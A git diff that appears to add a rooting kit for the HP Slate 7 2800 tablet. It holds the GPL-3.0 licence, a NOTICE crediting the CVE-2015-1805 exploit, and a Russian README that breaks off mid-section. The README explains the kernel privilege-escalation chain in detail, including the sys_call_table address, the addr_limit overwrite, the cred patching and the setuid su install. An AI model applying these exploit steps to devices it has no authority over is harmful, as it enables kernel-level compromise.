diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..336b412 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +/build/ +.DS_Store + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e600086 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/NOTICE b/NOTICE new file mode 100644 index 0000000..4b6abb6 --- /dev/null +++ b/NOTICE @@ -0,0 +1,14 @@ +The CVE-2015-1805 exploit code is derived from: + + mobilelinux/iovy_root_research, commit f945796 + https://github.com/mobilelinux/iovy_root_research + +That project states that it was inspired by: + + dosomder/iovyroot + https://github.com/dosomder/iovyroot + +The imported source files retain their original copyright and license +notices. Device-specific modifications, the installer, the minimal su +wrapper, documentation, and build scripts are distributed under GPL-3.0. + diff --git a/README.RU.md b/README.RU.md new file mode 100644 index 0000000..f945589 --- /dev/null +++ b/README.RU.md @@ -0,0 +1,442 @@ +# Root для HP Slate 7 2800 на Android 4.1.1 + +[English](README.md) | **Русский** + +Этот репозиторий содержит полный автономный комплект для получения постоянного +root-доступа на **HP Slate 7 2800** с прошивкой **1.05.18** и ядром +**Linux 3.0.8+** через локальную уязвимость **CVE-2015-1805**. Комплект был +реально выполнен на планшете, а результат проверен из нового ADB-сеанса и после +обычной перезагрузки. + +Это не универсальный Android-root. Эксплойт привязан к конкретной конфигурации +ядра HP. Не запускайте его на другой модели, прошивке или версии ядра. + +## Проверенная конфигурация + +| Параметр | Проверенное значение | +|---|---| +| Производитель и модель | HP Slate 7 2800 | +| Android | 4.1.1, API 16, сборка JRO03H | +| Product / device | `t7h` / `pine` | +| Процессор | Rockchip RK3066, ARMv7 | +| Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` | +| Ядро | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` | +| ABI | 32-битный ARM EABI5 | +| SELinux | отсутствует в конфигурации ядра (`CONFIG_SECURITY` отключён) | +| Раздел `/system` | ext4, штатно смонтирован read-only | + +Проверить устройство без каких-либо изменений можно так: + +```sh +adb devices -l +adb shell getprop ro.product.model +adb shell getprop ro.build.fingerprint +adb shell getprop ro.build.version.sdk +adb shell cat /proc/version +``` + +Или скриптом, который откажется продолжать при несовпадении fingerprint или +версии ядра: + +```sh +./scripts/check-target.sh +./scripts/check-target.sh ADB_SERIAL +``` + +## Что находится в репозитории + +```text +. +├── bin/ +│ ├── hp-slate7-cve-2015-1805-root # проверенный эксплойт +│ ├── hp-slate7-install-root # установщик su в /system +│ └── hp-slate7-su # минимальный setuid-root wrapper +├── src/ +│ ├── exploit/ # исходники CVE и device-specific правки +│ ├── installer/install-root.c # исходник установщика +│ └── su/rootsh.S # исходник минимального su +├── scripts/ +│ ├── build.sh # пересборка всех трёх ELF-файлов +│ ├── check-target.sh # безопасная проверка совместимости +│ └── root-device.sh # проверка, загрузка и запуск комплекта +├── SHA256SUMS # хеши проверенных bin/* +├── NOTICE # происхождение исходного PoC +└── LICENSE # GPL-3.0 +``` + +### Формат и назначение файлов + +| Файл | Формат | Размер | Назначение | +|---|---:|---:|---| +| `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2 722 320 байт | Эксплуатация CVE, получение uid 0 и запуск установщика | +| `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22 596 байт | Кратковременно перемонтирует `/system` rw, устанавливает `su`, возвращает ro | +| `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 байт | Делает `setresgid(0,0,0)`, `setresuid(0,0,0)` и запускает `/system/bin/sh` | + +SHA-256 проверенных бинарников: + +```text +6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root +4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root +40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su +``` + +Проверка на macOS: + +```sh +shasum -a 256 -c SHA256SUMS +``` + +Проверка на Linux: + +```sh +sha256sum -c SHA256SUMS +``` + +Используйте для планшета файлы из `bin/`: это именно те байты, которые были +проверены на устройстве. Каталог `build/` предназначен для локальной +пересборки и в Git не добавляется. + +## Какая уязвимость используется + +[CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) — ошибка в +реализациях `pipe_read()` и `pipe_write()` старых ядер Linux. При ошибке +атомарного копирования код некорректно продолжает обход массива `iovec`, что +может вывести указатель за его границы. В результате локальный непривилегированный +процесс может повредить память, аварийно завершить ядро или повысить привилегии. +Подробный разбор механизма опубликован в +[oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2), а +исправления находятся, в частности, в upstream-коммитах Linux +[`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1) +и [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045). + +Ядро планшета `3.0.8+` оказалось уязвимо. До изменения kernel memory была +выполнена отдельная безвредная проверка той же гонки: обе цели записи находились +в обычной памяти тестового процесса. Она завершилась результатом +`CVE-2015-1805: VULNERABLE`, после чего планшет оставался доступен по ADB. + +## Как устроена цепочка повышения привилегий + +1. Эксплойт создаёт гонку между `readv()`, изменением отображения памяти и + обработкой большого массива `iovec` в уязвимом pipe-коде ядра. +2. Полученный примитив записи подменяет временно свободную запись 222 в + `sys_call_table` адресом небольшого ARM-trampoline из процесса эксплойта. +3. Адрес таблицы вычисляется через high vector по адресу `0xffff0008`. + На проверенном устройстве инструкция равна `0xe59ff410`, literal указывает + на `vector_swi = 0xc04d0d40`. +4. Из [официального архива ядра HP Open Source 1.05.10](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz) + (SHA-256 архива: + `dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`) + с defconfig + `rk30_t7h_dvt_defconfig` независимо собраны `vector_swi` и + `sys_call_table`: их смещение равно `0xc4`. В установленной прошивке нет + OABI и seccomp, поэтому итоговый runtime-адрес таблицы — `0xc04d0e04`. +5. Trampoline состоит ровно из шести ARM-инструкций. Он получает текущий `sp`, + выравнивает его на размер kernel stack 8192 байта и записывает `-1` только + в `thread_info.addr_limit` по смещению 8. Внешних вызовов, пролога и + compiler runtime в нём нет. +6. Сразу после возврата из временного syscall запись 222 восстанавливается из + записи 223. В исходниках HP обе записи являются `sys_ni_syscall`; на + проверенном ядре восстановлен указатель `0xc051900c`. +7. После расширения `addr_limit` pipe-копирование читает текущий + `task_struct`, находит `cred` и проверяет найденную структуру по текущим + uid/gid, выравниванию, счётчику ссылок и совпадению `real_cred == cred`. + Только после этих проверок uid/gid обнуляются, а capability masks + заполняются единицами. +8. Процесс получает `uid=0` и запускает `/data/local/tmp/install-root`. + Установщик перемонтирует `/system` в rw, копирует payload в + `/system/xbin/su`, выставляет `root:root` и режим `06755`, вызывает `sync()` + и возвращает `/system` в read-only. + +Исходная функция `current_thread_info()` из старых kernel headers была +несовместима с современным Clang при `-O0`: ранний прототип читал +неинициализированное слово вместо регистра `sp` и мог уронить ядро. В данном +репозитории она заменена проверенным naked ARM-trampoline. Ранний бинарник в +репозиторий не включён. + +## Какой софт нужен + +### Для готовых файлов из `bin/` + +- компьютер с macOS или Linux; Windows также возможен при наличии корректного + ADB USB-драйвера, но данный запуск проверялся на macOS; +- `adb` из Android SDK Platform Tools; +- исправный USB-кабель с передачей данных; +- включённая «Отладка по USB» и подтверждённый RSA-ключ компьютера на экране + планшета. + +Не нужны Android NDK, Java, Python, fastboot, разблокировка bootloader, +custom recovery, root-APK или доступ к сети. Эксплойт и payload статически +скомпонованы. + +### Для пересборки + +- Zig 0.15.2; достаточно распаковать portable archive, устанавливать пакет в + систему не требуется; +- Bash; +- `shasum` либо `sha256sum` для контроля результата. + +Android NDK по-прежнему не нужен: Zig предоставляет ARM musl cross-toolchain. + +## Подготовка планшета + +1. Зарядите планшет минимум до 50%. Во время подтверждённого запуска заряд был + около 80%. +2. Загрузите Android обычным способом и разблокируйте экран. +3. Включите «Для разработчиков» → «Отладка по USB». +4. Подключите кабель и подтвердите RSA-запрос отладки, если Android его покажет. +5. Не запускайте Towelroot, KingRoot и другие root-приложения параллельно. +6. Закройте лишние приложения. Эксплойт создаёт много потоков и близко подходит + к лимитам этого старого устройства. + +Проверьте связь: + +```sh +adb devices -l +``` + +Статус должен быть `device`, а не `offline` или `unauthorized`. + +## Получение root: ручная последовательность + +Перейдите в корень 